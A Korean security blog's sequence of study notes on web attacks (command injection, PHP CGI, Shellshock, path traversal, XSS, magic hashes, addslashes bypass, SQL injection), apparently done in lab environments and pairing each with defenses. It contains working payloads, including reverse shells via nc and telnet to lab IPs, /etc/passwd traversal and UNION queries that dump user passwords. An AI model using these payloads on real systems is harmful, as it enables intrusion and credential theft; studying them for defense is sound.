Command_injection

Hacking/Web 2017. 3. 8. 13:15
반응형

0. 문제 확인

upload_form.php라는 문제를 던져주셨다.


1) 해당 파일은 단순히 파일 업로드 기능만 제공해주는 파일이었다.

파일 업로드가 되면 자동으로 업로드한 파일을 보여주는데 사이즈가 올린 것보다 작아진 상태로 들어가고 파일명이 내 IP로 바뀌었다.

ex) 11.txt 파일을 업로드하면 172.16.1.242.txt로 파일명이 변경된다.


2) 파일 11.txt를 업로드하라는 패킷을 Burp로 잡아보니 MIX_FILE_SIZE와 filename을 POST 방식으로 전송한다.


1. 문제 해결 순서

1) Command Injection이라는 힌트를 주셔서 숫자가 아닌 문자열이 전송되는 filename 부분을 타겟으로 잡았다.


2) 파일명을 변경시켜주는 함수가 있을거라는 생각을 하여 해당 함수를 ')를 이용하여 닫아주고 &를 이용하여 명령어를 이어주었다.


Tip !! & 와 &&의 차이

& = 앞의 명령어가 실패하더라도 뒤의 명령어를 실행한다.

&& = 앞의 명령어가 실패하면 뒤의 명령어를 실행하지 않는다.


왜? AND 연산자는 모두가 참일 경우에만 참이 되기 때문에 앞의 명령어가 실패하는 순간 결과는 무조건 거짓이 되므로 뒤의 명령어를 실행하지 않고 거짓이라고 반환하는 것이다.


지금까지의 공격 코드 -> filename="11.txt') &


3) nc를 이용하여 내 PC에 포트를 listening 상태로 열어두고 원격지에서 나에게 붙을 수 있도록 설정하는 명령어를 Injection하였다.


* 지금까지의 공격 코드 -> filename="11.txt') & nc -e cmd.exe 172.16.1.242 9999

( 내 PC의 cmd 창에서 [ nc -l -p 9999 ] 를 한 상태 )


4) nc 명령어를 끊어주면서 filename에서 사용하는 함수의 '를 지워주기 위해 & 와 함께 '를 넣어준다.


* 지금까지의 공격 코드 -> filename="11.txt') & nc -e cmd.exe 172.16.1.242 9999 & '


2. 서버에서의 예상 코드

- 함수를 간단히 convert('origin','after')라고 예상을 했을 경우 위의 명령어를 작성하면

convert('11.txt') & nc -e cmd.exe 172.16.1.242 9999 & '','after')가 될 것이다.


- 만약 convert 함수가 시스템 함수를 사용한 것이라면 nc도 cmd 창에서 실행하는 것처럼 작동하기 때문에 이 공격이 작동하는 것이다.




반응형

'Hacking > Web' 카테고리의 다른 글

XST에 대해 알아보자  (1) 2017.05.09
LFI&RFI  (0) 2017.03.08
A9-알려진 취약점이 있는 컴포넌트 사용  (0) 2017.02.25
A7 - 기능 수준의 접근 통제 누락  (0) 2017.02.18
A6. 민감 데이터 노출  (0) 2017.02.16
블로그 이미지

rootable

,
반응형

1. PHP CGI 취약점(CVE-2012-1823) 

 - PHP 5.4.12 이전 버전의 sapi/cgi/cgi_main.c에서 CGI 스크립트가 질의 문자열을 제대로 처리하지 못하여 발생


1.1 옵션

 -n : php.ini 파일을 사용하지 않는다.

 -s : 소스 코드에 색을 반영하여 보여준다.

 -d : php.ini에 정의된 설정 내용을 임의로 설정


1.2 실습


그림1. -s 옵션을 이용하여 소스코드 출력



설정 

내용 

allow_url_fopen=1 

외부의 URL로부터 파일을 호출 

allow_url_include=1 

외부의 파일을 include,include_once, require, require_once와 같은 파일로 include를 허용 

auto_prepend_file=php://input 

HTTP Request Body로 데이터를 가져와 실행 

표1. -d 옵션을 이용한 설정 파일 변경



그림2. -d 옵션을 이용하여 /etc/passwd 파일 내용 출력


* 주의 ! 

 - 그림2에서의 공격에서 -d 뒤에 auto_... 는 붙여도 공격이 가능하지만 auto_prepend_file 과 /etc/passwd 사이의 =는 반드시 %3d로 인코딩해서 넣어주어야 공격이 가능하다.




그림3. -d 옵션을 이용하여 /etc/passwd 파일 내용 출력


* 주의 !

 - 띄어쓰기 하고 싶은 부분에는 +로 이어준다.

 - 보고 싶은 결과를 Body 값 요청으로 전달해야 한다. -> /etc/passwd 뿐만 아니라 쉘에서 쓸 명령어들을 사용할 수도 있다.


2. 셸쇼크 취약점

 - 'GNU Bash(Bourne Again Shell) 취약점

 - CVE-2014-6271

 - 배시(Bash) 셸이 환경 변수를 처리하는 과정에서 발생하는데, 공격자는 시스템의 보안을 우회하여 명령어를 실행할 수 있다.

반응형

'Hacking > Web' 카테고리의 다른 글

LFI&RFI  (0) 2017.03.08
Command_injection  (0) 2017.03.08
A7 - 기능 수준의 접근 통제 누락  (0) 2017.02.18
A6. 민감 데이터 노출  (0) 2017.02.16
매직해시(Magic Hashes) 취약점  (0) 2017.02.16
블로그 이미지

rootable

,
반응형

* 기능 수준의 접근 통제 누락

 = 접근 통제와 확인이 서버의 설정이나 관리 측면에서 이루어지지 않을 때 발생하는 취약점

 - 대표적인 공격 기법 : 파일 다운로드, 업로드 취약점


* 디렉터리 리스팅 취약점

 = URL에 존재하는 파라미터의 값에 ../ 같이 상대경로를 입력하여 서버에 있는 다른 디렉터리에 접근 가능한 취약점

ex) http://10.10.10.4/bWAPP/directory_traversal_1.php?page=../../../../../etc/passwd

 - 대응방안 : 기본 경로를 변수를 이용하여 한정시킴

 - realpath 함수 : 상대경로를 절대경로로 반환

 - strpos 함수 : strpos(A,B) = A가 B의 경로에 포함되는지 확인 => 사용자가 입력한 A 위치가 관리자가 지정한 B 위치에 포함되는지 확인하여 포함되지 않는다면 오류 출력


* 파일 삽입(File Inclusion) 공격

 : 악의적인 코드가 입력된 파일을 사용자가 서버에서 열람하는 공격

 - RFI(Remote File Inclusion  = 원격 파일 삽입) : 공격자가 악성 코드가 있는 원격 서버의 파일을 공격 대상인 웹 애플리케이션 서버에서 실행시켜 취약한 웹 페이지에서 악의적인 스크립트를 실행하게 하는 공격

 - LFI(Local File Inclusion = 로컬 파일 삽입) : 서버 내부에 있는 파일을 확인하는 공격

 - 대응방안 : 파라미터에 입력할 내용을 배열로 한정하는 화이트 리스트(Whitelist) 방식 사용


* 서버 측 요청 변조(SSRF, Server Side Request Forgery) 

 : 공격자가 요청을 변조하여 취약한 서버가 내부 망에 악의적인 요청을 보내게 하는 취약점

유형(1) : RFI를 사용하여 포트 스캔

유형(2) : XXE(XML External Entity)를 사용하여 내부 망 자원에 접근

유형(3) : XXE를 통하여 스마트 TV 해킹

- 대응방안 : 서버 내부에서 관리적인 대책을 마련해야 한다. 비사용 포트 차단, IP 블랙리스트 설정, 내부 망의 방화벽에 시그니처를 설정하여 서버에서 잘못된 요청에 대한 응답을 보내지 않게 방어


* XXE(XML External Entitiy)

 : XML의 외부 엔티티를 사용하여 네트워크에 있는 자원에 접근하는 방법

 : XML 문서는 엔티티(Entitiy)라는 저장 단위로 구성되어 있는데, 외부 엔티티를 선언하면 다른 파일의 텍스트를 가져올 수 있다.

반응형

'Hacking > Web' 카테고리의 다른 글

Command_injection  (0) 2017.03.08
A9-알려진 취약점이 있는 컴포넌트 사용  (0) 2017.02.25
A6. 민감 데이터 노출  (0) 2017.02.16
매직해시(Magic Hashes) 취약점  (0) 2017.02.16
A3. 크로스 사이트 스크립팅  (0) 2017.02.09
블로그 이미지

rootable

,
반응형

1 민감 데이터 노출 : 클라이언트와 서버가 통신할 때 SSL(Secure Socket Layer)을 사용하여 중요한 정보를 보호하지 않을 때 발생하는 취약점

 - 데이터 처리와 암호화 저장이 클라이언트에서 이루어질 경우에  공격자는 클라이언트 PC를 장악하여 정보 탈취가 가능하므로 데이터 처리와 암호화는 반드시 서버 측에서 이루어져야함.


2 base64 인코딩 = 이진 데이터 6bit씩 64진수 문자셋으로 변환하는 인코딩 기법

 - 다른 이진 데이터 변환 규칙과 관계없이 아스키코드만으로 데이터 인코딩 -> 플랫폼 제한 없이 사용 가능

 - 이진 데이터가 6bit씩 나누어지지 않을 때 패딩 문자를 자동으로 붙여 6bit 채움

 - 다양한 플랫폼에서 전송한 데이터가 인코딩 기법이 달라서 데이터가 깨지는 경우는 없기 때문에 Base64 인코딩 기법을 주로 사용


3 스니핑(Sniffing) = 서버와 클라이언트 사이 연결에 오고 가는 패킷을 엿보는 공격

 - 연결이 암호화되어 있지 않거나 평문으로 전송되는 경우 패킷에 있는 데이터로 사용자의 정보를 알아낼 수 있다.

 - 칼리리눅스의 스니핑 도구 : ettercap

 - ettercap -G (G옵션 : GUI)


(1) Unified Sniffing = 게이트웨이 IP 주소와 공격 대상의 IP 주소를 설정하여 ARP 스푸핑 공격을 통하여 패킷을 스니핑

(2) Bridged Sniffing = 둘 이상의 네트워크 카드 사이에서 스니핑 -> 게이트웨이를 조작하지 않고 스니핑하기 때문에 스니핑 여부가 감지되지 않는다.


* 대응방안 : 중요한 정보를 전송하는 경우 HTTPS 프로토콜 사용

 -> HTTPS로 중요한 정보를 전송하기 위해서는 SSL 인증서를 설치하여 암호화 설정을 하여야 한다.

 -> SSL 인증서를 발급받으려면 공인 CA(Certificate Authority)를 통하여 인증서를 구입해야한다. (임의로 본인이 인증서를 발급하는 경우 신뢰할 수 없는 인증서라는 경고를 출력함)


4. HTML5 웹 저장소

 * HTML5는 웹 저장소(Web Storage)를 사용하여 쿠키 대체

 - 장점 : 매번 쿠키를 전송할 필요가 없어서 쿠키에 비해 안전하다

 - 단점 : 클라이언트에서 정보 수정이 가능하여 XSS 공격이 가능


5. 해시 값 원문 변환 사이트 : https://crackstation.net/

 * salt : 비밀번호에 salt에 해당하는 문자열을 같이 암호화하기 때문에 해시 함수에 사용된 salt 값을 모르는 경우 비밀번호를 알아낼 수 없다.


6. 하트블리드(Heartbleed) 취약점

 : 2014년 4월에 발견된 OpenSSL의 소프트웨어 버그(CVE-2014-0160)

 : 사용자나 관리자의 ID, Password, SSL 비밀키 등을 노출하게 하는 아주 위험한 수준의 취약점

 : OpenSSL 1.0.1 이후 '하트비트(heartbeat)'라는 세션 연결을 확인하는 방법을 제공하지만, 전달되는 값의 길이를 검증하지 않아 Buffer Overflow가 발생한다. 이 결함은 하트비트마다 최대 64KB의 응용 프로그램 메모리 내용을 요청할 수 있다. 외부에서 서버의 메모리 정보를 평문으로 계속 볼 수 있기 때문에 지속해서 공격하여 ID,Password, 기타 개인 정보가 노출될 수 있다.

 : 하트블리드 스크립트는 기본 443/TCP 포트를 대상으로 한다. <= HTTPS 포트번호


 * 대응방안

 - OpenSSL 버전 업데이트, 비밀번호 변경 또는 이중 인증, 인증서 재발급, IPS에서 탑지 룰 설정 등

반응형
블로그 이미지

rootable

,
반응형

* 매직해시(Magic Hashes)란 ?

 - 비교 연산을 할 때 Type Juggling을 이용하여 서로 다른 값이 같은 값으로 인식되도록 하는 특수한 동작

 - 항상 가능한 것이 아니라 특수한 경우('0e'로 시작하는 문자열일 때)에 가능

 - 사전 지식으로 Type Juggling과 특수 숫자포맷에 대해 이야기하겠다.


* Type Juggling이란? 

 - PHP는 변수 정의에 명백한 타입 선언을 요구하지 않는다. 

 - 변수 타입은 그 변수가 사용되는 상황에 맞게 결정된다. (=auto casting)

 - 만약 문자열 값이 $var에 할당되었다면, $var는 string 타입이다.

 - 만약 숫자 값이 $var에 할당되었다면, $var는 integer 타입이다.

(ex)

<?php

$foo = "0"; // $foo is string (ASCII 48)
$foo += 2; // $foo is now an integer (2)
$foo = $foo + 1.3; // $foo is now a float (3.3)
?>


(참고)Type Casting?

 - Type juggling과 비슷한 개념

 - 변수 타입을 강제적으로 바꿔주는 것

(ex)

$foo = '1';
echo gettype($foo); // outputs 'string'
settype($foo, 'integer');
echo gettype($foo); // outputs 'integer'



* 특수 숫자포맷

 - 16진수 : 0xC (10진수 값으로 12)

 - 8진수 : 0o11 (10진수 값으로 9)

 - 지수 : 3e2 (10진수 값으로 3 * 10 ^ 2 = 300)


* 매직해시 

  위에서 말한 '0e'로 시작하는 문자열이란 특수 숫자포맷에서 본 지수 형태와 동일하다. 즉, '0e'로 시작하는 문자열에 뒤에가 모두 숫자일 경우에는 PHP 상에서 float 형태로 인식한다는 것이다.


1) 0e 뒤에 모두 숫자일 경우




 -> string 형태로 지정을 해주었지만 PHP는 Type juggling을 통해 float 형태로 바꾼 뒤 비교를 진행하였고 

0e1234 = 0 * 10 ^ 1234 = 0

0e5678 = 0 * 10 ^ 5678 = 0

결국 PHP는 둘다 0이라고 생각하여 비교를 했을 때 같다고 true값을 반환

(type casting이 된 것이 아니므로 연산 후에도 각 변수의 타입은 string으로 유지)


2) 0e 뒤에 문자가 들어갈 경우



 -> 위의 경우와 달리 $ex1 변수에 a를 하나 추가하였다. 이 경우 PHP는 Type Juggling을 하여도 다른 타입으로 변경할 수 없고 string으로만 남을 수 밖에 없다. 따라서 두 문자열의 비교 결과 달라서 false를 출력하는 것이다.


* 대처방법

1) 암호화 함수 이용 ex) md5(), sha1() 등

 - 이 경우 해커가 매직해시를 노리고 '0e1234' 식으로 입력한다고 하더라도 암호화로 인해 방어가 가능

 - 하지만 이 암호화를 통한 결과가 '0e'로 시작하고 뒤가 모두 숫자일 경우가 발견됨

md5 : 240610708 => 0e462097431906509019562988736854

sha1 : 10932435112 => 0e07766915004133176347055865026311692244

(더 많은 암호화 기법에 따른 매직 값을 알고 싶을 경우 https://www.whitehatsec.com/blog/magic-hashes/ 참고)


2) 더 발전된 암호호 함수 사용

 - 암호화 결과물의 시작이 $이나 *인 함수 사용

 - PHP 5.5 버전 이후에서는 password_hash 함수를 제공한다. -> 결과값이 $로 시작할 뿐더러 매번 암호화할 때마다 값이 달라진다.


3) 형변환하지 않는 비교 (===) 사용

 - 비교 연산자를 == 대신 ===를 사용한다면 Type Juggling을 진행하지 않아 매직해시는 통하지 않는다.


* 이를 이용한 문제 풀이 (비박스 환경의 SQL Injection(Login Form/User)

소스코드

 - form이 설정되어 있다면 login과 password를 가져오고 password의 경우 sha1 암호화를 거친 결과를 $password 변수에 저장한다.

 - $login 변수값 만으로 데이터를 가져와 $sql 변수에 넣는다.


 - 비교문장에서 sha1으로 암호화된 값 $password와 DB 상에 존재하는 login과 관련된 패스워드 $row['password']를 ==를 통해 비교한다.

 - 따라서 DB 상의 password와 입력한 password의 hash값이 비교 결과 같다면 풀리는 것이다. 만약 매직해시를 이용하여 sha1으로 암호화했을 때 '0e+숫자'형태가 되는 매직 숫자를 넣어주고 login에 해당하는 password가 0e+숫자이거나 0이거나 그에 해당하는 값이면 로그인이 된다.


* 공격 순서

1. '를 입력해보고 SQL Injection 취약점이 존재하는지 확인

2. ' union select 1# -> ' union select 1,2# -> ... -> ' union select 1,2,3,4,5,6,7,8,9#을 진행하여 컬럼 수가 9인 것을 확인

3. password에는 sha1 암호화의 결과가 0e+숫자 형태로 나오는 10932435112 을 입력해주고 union 뒤의 select 문에서 password에 해당하는 칼럼을 찾는다. (0을 넣어가면서)

4. 3번째에 0을 넣었을 때 로그인 되는 것을 보아 3번째 컬럼이 패스워드 관련 컬럼임을 알 수 있다. 

-----------------------------------------------------------------------------------------

참조 ) 

- Type Juggling (http://designmywebpage.blogspot.kr/2013/06/type-juggling-and-type-casting.html)

https://blog.lael.be/post/1238

- https://www.whitehatsec.com/blog/magic-hashes/

- Password_hash (http://webinformation.tistory.com/82)

반응형

'Hacking > Web' 카테고리의 다른 글

A7 - 기능 수준의 접근 통제 누락  (0) 2017.02.18
A6. 민감 데이터 노출  (0) 2017.02.16
A3. 크로스 사이트 스크립팅  (0) 2017.02.09
addslashes(), mysql_real_escape_string() 우회  (9) 2017.02.01
A1-injection  (0) 2017.02.01
블로그 이미지

rootable

,
반응형

1. XSS (Cross-site Scripting)

 : 웹 사이트에서 입력 데이터가 적절한 값인지 검사하지 않고 웹 브라우저를 실행할 때 발생

 - 종류 : Stored XSS, Reflected XSS, Dom Based Scripting

 - 보안상 가장 위협적인 것은 Stored XSS

 - 서버에 전달되는 모든 변수 값에서 발생 가능

 - 목적 : 공격자가 세션을 탈취하여 다른 사용자의 권한을 취득 / 악성코드 배포 / 피싱하여 사용자의 중요한 정보 획득


1.1 Stored XSS

 - 악의적인 스크립트 코드가 웹이 입력되면서 데이터데이스에 저장. 

 - 불특정 다수의 사용자가 공격자의 게시물에 접근하면 지속적으로 악의적인 스크립트가 실행되기 때문에 위협 영향도가 높음

 - 범죄자는 이를 이용하여 악성코드를 배포하는 데 많은 비중을 두고 있음 (최근에는 랜섬웨어가 많이 설치됨)


1.2 Reflected XSS

 - 웹 페이지 URL에 존재하는 파라미터에 악의적인 스크립트 코드를 입력하여 사용자가 URL을 클릭하면 파라미터에 입력한 악성 스크립트 코드가 실행되게 하는 공격

 - 이 취약점은 사용자들이 알아채기 쉽고, 일부 브라우저에서 악의적인 스크립트에 대응하고 있기 때문에 Stored XSS에 비해 위협이 적은 편


* 작은따옴표가 필터링되어 있을 때 (= addslashes 함수로 필터링할 경우)

 - String.fromCharCode 함수 이용

 ex) <script>alert(String.fromCharCode(83,117,99,99,101,101,100,33))</script>

 => Succeed!를 alert 해줌


 - String.fromCharCode 함수 = 자바 스크립트 내장 함수로, 인자로 받는 아스키코드나 유니코드를 문자열로 반환

 - 만약 htmlspecialchars 함수로 필터링되어있으면 < 와 > 도 필터링이 되어 위의 공격은 실패한다.


* JSON의 경우 페이지 자체에서 스크립트 코드를 사용하는 경우가 있다. 이럴 때

</script><script>alert('Succeed');</script>

코드를 이용해보면 XSS 취약점이 존재하는지 알 수 있다.


* 이미지 태그를 활용한 XSS

 - 이미지 태그에서는 태그에 입력한 주소에 이미지가 존재하지 않을 경우 'onError' 속성으로 이미지를 대체

 ex) <img src=x onerror=alert('Success')>


* alert 함수가 필터링되어 있는 경우

 - eval 함수를 이용

 - eval 함수 : 수식 형태로 된 문자열을 실수로 반환하는 자바스크립트 내장함수

 - 작은따옴표에 의한 값은 보통 텍스트 문자로 처리되지만, eval 함수를 사용하면 PHP 코드로 해석하고 실행한다.


* a 태그(anchor) 태그를 이용하는 경우

 - XSS에 취약하다면 onClick나 onmouseover 등의 이벤트 속성을 이용하여 공격할 수 있다.

 - 입력하는 부분이 a 태그의 일부분으로 들어갈 경우

 0 onmouseover=alert('Success") 0

로 공격을 했을 때 만약 해당 하이퍼링크 부분에 마우스를 올렸을 때 경고창이 뜬다면 취약한 것이다. (이 때 양쪽에 있는 0은 문법 오류를 막기 위함.. 상황에 따라 앞만 넣을수도 뒤에만 넣을 수도 있다)


* phpMyAdmin 취약점 (http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4480)

 - Version 3.3.8.1 또는 3.4.0-beta1 이전의 버전을 가진 PhpMyAdmin의 error.php 파일에 취약점 존재

 - '@' 문자를 포함하여 조작된 BBCode(Bulletin Board Code) 태그를 통하여 XSS가 가능

ex) http://10.10.10.4/phpmyadmin/error.php?type=bugged!&error=[a@http://10.10.10.4/bWAPP/bad.html@]Click Here[/a]


 - type : 오류의 종류

 - error : BBcode 태그 -> @를 이용하여 [a@url@page] 형태로 태그 조작

 - @page는 지정하지 않거나 문자 값을 입력(예시에서는 지정하지 않았음)


* BBCode ?

 = 자바 스크립트 및 HTML 인젝션 공격을 방어하기 위하여 만들어짐

 =  BBCode에서 자바스크립트나 HTML로 변환할 때 XSS 공격이 가능한 취약점이 발견


* XSS 공격 순서

1. <script>alert('Success');</script>

2. <script>alert(document.cookie)</script> -> 성공한다면 '가 막혀있는 것

3. <script>alert(String.fromCharCode(83,117,99,99,101,115,115))</script>


* PHP_SELF를 이용한 취약점

 - PHP_SELF = 웹 서버가 실행 중인 현재 웹 페이지의 경로를 나타내며 $_SERVER에 속하는 속성 -> $_SERVER['PHP_SELF'] 형태로 사용

 - $_SERVER['PHP_SELF']는 URL을 웹 페이지의 경로로 인식하고 받아들이기 때문에 URL에 악성 스크립트 코드를 입력할 경우 XSS에 취약

ex) http://10.10.10.4/vul.php/"/><script>alert("Success");</script>

 -> "/>를 통해 HTML 폼 태그를 강제로 닫은 후 스크립트 입력

반응형

'Hacking > Web' 카테고리의 다른 글

A6. 민감 데이터 노출  (0) 2017.02.16
매직해시(Magic Hashes) 취약점  (0) 2017.02.16
addslashes(), mysql_real_escape_string() 우회  (9) 2017.02.01
A1-injection  (0) 2017.02.01
해킹맛보기 웹 해킹 파트 정리  (0) 2017.01.08
블로그 이미지

rootable

,
반응형

0. 주제 선정

 SQL Injection에 대해 공부하는데 방어 기법으로 addslashes()와 mysql_real_escape_string()이 등장하였습니다. 그런데 책에서는 이 두가지 함수로 SQL Injection을 모두 방어할 수 있는 것처럼 나와있었습니다. 하지만 해킹이 어떤 분야입니까? 막으면 뚫는 분야 아닙니까!?

 그래서 과연 이 두 함수라면 SQL Injection을 모두 막을 수 있는지? 우회할 수 있다면 어떤 식으로 우회가 가능한지 알아보고자 이 주제를 발표 주제로 선정하였습니다.


1. addslashes()와 mysql_real_escape_string()

(1) addslashes()란?

 - 데이터베이스 질의 등에서 처리할 필요가 있는 문자 앞에 백슬래시를 붙인 문자열을 반환한다.

 - 처리할 필요가 있는 문자 = 겉따옴표('), 겹따옴표("), 백슬래시(\), NUL(NULL 바이트)

 - 예를 들어 don't 를 데이터베이스에 넣으려고 할 때 ' 앞에 \를 붙여서 don\'t 이 저장되는 겁니다. 이를 다시 웹에서 보여줄 때는 ' 앞에 있는 \가 없어져야하기 때문에 이때는 백슬래쉬를 제거해주는 stripslashes() 함수를 사용하는 겁니다.

 - magic_quotes_gpc는 기본값으로 on이 되어있는 설정으로, 자동적으로 모든 GET, POST, COOKIE 데이터에 addslashes()를 실행합니다. 따라서 magic_quoties_gpc가 설정되어있을 때에는 addslashes()를 사용하지 마세요. 그렇게 되면 \가 두번 붙으니까요.


(2) mysql_real_escape_string()이란?

 - 간단히 말해 위에서 다룬 addslashes()의 확장(?) 버전이라고 생각하시면 편합니다. 기능은 모두 동일하고 처리하는 문자가 더 많아집니다.

 - 처리하는 문자 = \x00, \n, \r, \r, \, ', ", \x1a

 - \x1a는 EOF(End Of a File)를 뜻합니다. ( CTRL+Z 기능)


2. SQL Injection 방어

 비박스의 실습을 이용하여 진행해보도록 하겠습니다.



 먼저 아무런 보안 조치가 되어있지 않은 경우입니다. 이 때는 항상 참이 되는 문장과 or을 하여 모든 데이터가 출력되도록 하였습니다.



 해당 php 소스코드입니다. security_level에 따라 보안조치가 다른데 위에서 본 경우는 security_level이 0인 경우였습니다. 

 다음으로 1과 2가 있는데 1은 sqli_check_1으로, 2의 경우는 sqli_check_2의 함수로 보안조치를 한 것을 볼 수 있습니다. 해당 함수들의 기능을 찾아봅시다.



 해당 함수들의 기능입니다. 간단하게 한줄로 구현되어있죠.

 security_level이 1인 경우일 때 설정한 sqli_check_1 함수는 addslashes() 함수로 보안조치를 하였습니다. 

 다음으로 security_level이 2인 경우일 때 설정한 sqli_check_2 함수는 mysql_real_escape_string() 함수로 보안조치를 한 것을 볼 수 있습니다.



 정말 SQL Injection이 되지 않는지 실제로 공격을 해보면 이와 같이 공격이 통하지 않는 것을 볼 수 있습니다.

 책에서는 SQL Injection의 대응방안이라면서 해당 두 함수를 알려주고는 끝을 냈습니다. 저는 이 함수들을 우회하는 것은 없는지 알아보았습니다.


3. 대응방안 우회하기

 찾아본 결과 특정 조건 하에서는 우회가 가능했습니다. 그것은 바로 멀티바이트를 사용하는 언어로 인코딩을 할 때입니다. 

멀티바이트를 사용하는 언어셋 환경에서는 백슬래시 앞에 %a1~%fe의 값이 들어오면 해당 값과 \에 해당하는 %5c가 합쳐져서 하나의 문자를 나타내게 됩니다. 따라서 SQL Injection 방어를 위해 생성한 \가 사라져 버려서 공격이 되는거죠.


 이것을 실제로 실습해보겠습니다. (출처 : http://dydgh499.tistory.com/32)



PHP 코드를 이와 같이 작성하였습니다.

GET 방식을 통해 입력받은 것을 mysql_real_escape_string을 거쳐 before에 출력시키고 이것을 mb_convert_encoding 함수를 통해 인코딩을 하고나서 after에 출력시키는 것으로 구현하였습니다.


* mb_convert_encoding 함수 = 인코딩해주는 함수

 - string mb_convert_encoding(string $str, string $to_encoding, [$from_encoding])

 ex) mb_convert_encoding($input, "UTF-8", "EUC-KR") = $input 문자열을 EUC-KR에서 UTF-8로 인코딩



입력창에 겉따옴표( ' )을 입력해보았습니다.



그 결과 mysql_real_escape_string 함수를 지나 ' 앞에 백슬래시(\)가 붙은 것을 볼 수 있습니다. 



이 때 input 변수 앞에 %f1을 넣게 되면 결과적으로 %f1%5c%27 이 되고 멀티바이트 언어셋인 UTF-8에서는 %f1%5c를 하나의 문자로 보게 되어 이 둘을 하나로 묶고 %27만을 남겨둡니다. 

 따라서 after 부분을 보게 되면 백슬래시가 사라지고 '가 남아있는 것을 볼 수 있습니다. 이를 통해 공격자는 '를 사용할 수 있게 되고 이를 이용하여 SQL Injection 공격이 가능하게 되는 것입니다.



참고 )

http://blog.naver.com/PostView.nhn?blogId=skinfosec2000&logNo=220535626029&parentCategoryNo=&categoryNo=12&viewDate=&isShowPopularPosts=false&from=postView


http://dydgh499.tistory.com/32


http://limjunyoung.tistory.com/101

반응형

'Hacking > Web' 카테고리의 다른 글

매직해시(Magic Hashes) 취약점  (0) 2017.02.16
A3. 크로스 사이트 스크립팅  (0) 2017.02.09
A1-injection  (0) 2017.02.01
해킹맛보기 웹 해킹 파트 정리  (0) 2017.01.08
구글 고급 연산자  (0) 2017.01.08
블로그 이미지

rootable

,

A1-injection

Hacking/Web 2017. 2. 1. 17:14
반응형

1. HTML 인젝션

 - HTML 코드를 넣어보고 취약한지 확인

 - 코드가 그대로 출력된다면 '<'과 '>'같은 특수문자를 URL 인코딩하여 재시도

 - 안된다면 %3C, %3E를 또 인코딩하는지 확인(더블인코딩인지 확인) -> 만약 %3C가 %253C로 된다면 더블인코딩을 하는 것이므로 더블인코딩한 태그로 입력하여 재시도

 - 방어하기 위해서는 specialchars 함수를 이용하여 특수문자를 인코딩


* specialchars 함수

  = PHP에서 제공하는 기본 함수

  = HTML에서 사용하는 특수문자를 UTF-8로 반환 (&, ", ', <, >)

-> 하지만 인코딩된 입력값은 변환이 불가능하다는 것을 이용하여 우회가 가능하다고 한다. (참고 : http://blog.oneandonlyme.xyz/126)


2. iframe 인젝션

- 페이지 내에 iframe 태그를 주입

 - 주로 악성 URL을 삽입한 후 사이즈를 0으로 설정하여 숨기는 방법을 사용


3. OS 커맨드 인젝션

 - 시스템 명령어를 사용하는 변수 부분에 파이프라인( | )과 함께 다른 명령어 작성

 ex) | nc 10.10.10.5 -e /bin/bash

 - nc의 e옵션은 대부분 보안상 막혀있어 telnet 명령으로 이를 우회한다.

 ex) sleep 1000 | telnet 10.10.10.5 5555 | /bin/sh | telnet 10.10.10.5 6666 

 (hacker가 5555, 6666 포트를 열어둔 상태에서)

 - 방어하기 위해서는 외부에서 시스템 명령어를 사용하지 못하게 하는 것이 가장 좋고 안된다면 필요한 명령어만 가능하도록 설정


 * excapeshellcmd 함수

- 시스템 셸로 실행할 수 있는 특수 문자에 백슬래시를 붙여 명령을 실행할 수 없도록 방어 ( #, &, |, ;, * 등등)


4. PHP 코드 인젝션

 - exec() 함수나 eval() 함수를 사용한 경우 세미콜론(;)을 사용하여 다른 함수를 실행하는 취약점 존재

 - 취약점 파악 : 세미콜론 + system 함수 // 세미콜론 + shell_exec 함수

  ex) message=ok;system("whoami")


* pseudo-terminal

 - nc으로 셸을 사용할 경우 프롬프트가 없고 vi 편집기를 사용할 수 없다.

 - python -c 'import pty;pty.spawn("bin/bash")'

 - 위의 명령어를 작성하면 프롬프트가 뜨고 vi 편집기도 사용할 수 있다.



5. SSI 인젝션

 - SSI를 사용하는 웹 페이지의 경우 SSI 지시어를 처리하기 위한 '.shtml' 확장자 파일을 생성

 - SSI 지시어의 형식 : <!--#        -->

 - SSI 기능을 사용하지 않는 경우 웹 브라우저는 SSI 지시어를 주석으로 처리


6. SQL Injection

 - 사용자가 입력할 수 있는 곳에 '를 입력하여 SQL 오류 메시지가 출력된다면 SQL 인젝션 취약점이 존재하는 것

 - 취약점이 존재한다면 주석 문자가 무엇인지 파악한다. ( -- 인지 # 인지 )

   -> ' or 1=1-- 과 ' or 1=1#을 넣어보고 결과를 확인

- 데이터베이스의 특정 내용을 출력하는 기존 쿼리가 있는 경우라면 UNION SELECT 구문을 이용하여 또 다른 질의의 결과를 하나로 합쳐 반환하는 식으로 데이터베이스 정보를 수집 ( = UNION Based SQL Injection )


 * UNION Based SQL Injection (참고 : http://m.blog.naver.com/koromoon/120172851234 )

 - 두 질의의 결과를 하나의 테이블로 합치기 때문에 칼럼의 수가 일치해야 한다.

 - ' UNION SELECT ALL 1# -> ' UNION SELECT ALL 1,2# -> ' UNION SELECT ALL 1,2,3# 식으로 하나씩 증가시키며 페이지의 결과가 참이 될 때까지 확인 = 칼럼 수 확인

 - ' order by 1# -> ' order by 2# -> ' order by 3# 식으로 컬럼 수 확인도 가능


 시스템 변수 및 함수

 설명 

 database() 

 데이터베이스 명을 알려주는 함수 

 user() 

 현재 사용자의 아이디

 system_user()

 최고 권한 사용자의 아이디 

 @@version 

 데이터베이스 서버의 버전 

 @@datadir 

 데이터베이스 서버가 존재하는 디렉터리 



* 공격 순서

1. 취약점 존재하는지 확인 ( 입력창에 ' 입력)

2. 존재한다면 주석이 무엇인지 확인 ( --인가 # 인가)

3. 이전 쿼리에서 사용하는 SELECT 문의 칼럼 수 확인 ( select 1# 방식 , order by 1# 방식)

4. MySQL 버전이 5.0 이상일 경우 information_schema를 사용하여 테이블명 확인

 ( ' union select 1,table_name,3,4,5,6,7 from information_schema.tables# )

5. 사용자 계정 정보가 들어있을 테이블의 컬럼 이름 확인

 ( ' union select 1, column_name,3,4,5,6,7 from information_schema.columns where table_name='users'# )

6. 원하는 칼럼 내용 확인 - 노출된 칼럼 수보다 원하는 칼럼이 많을 경우 concat(칼럼1,칼럼2,...) 식으로 합쳐서 하나의 칼럼에서 출력되도록 함

 ( ' union select 1, concat(id,login),password,email,secret,6,7 from users# )


* addslashes( ) 함수

 - 홑따옴표('), 겹따옴표("), 백슬래시(\), NU(NULL 바이트) 앞에 \를 추가


* mysql_real_escape_string() 함수

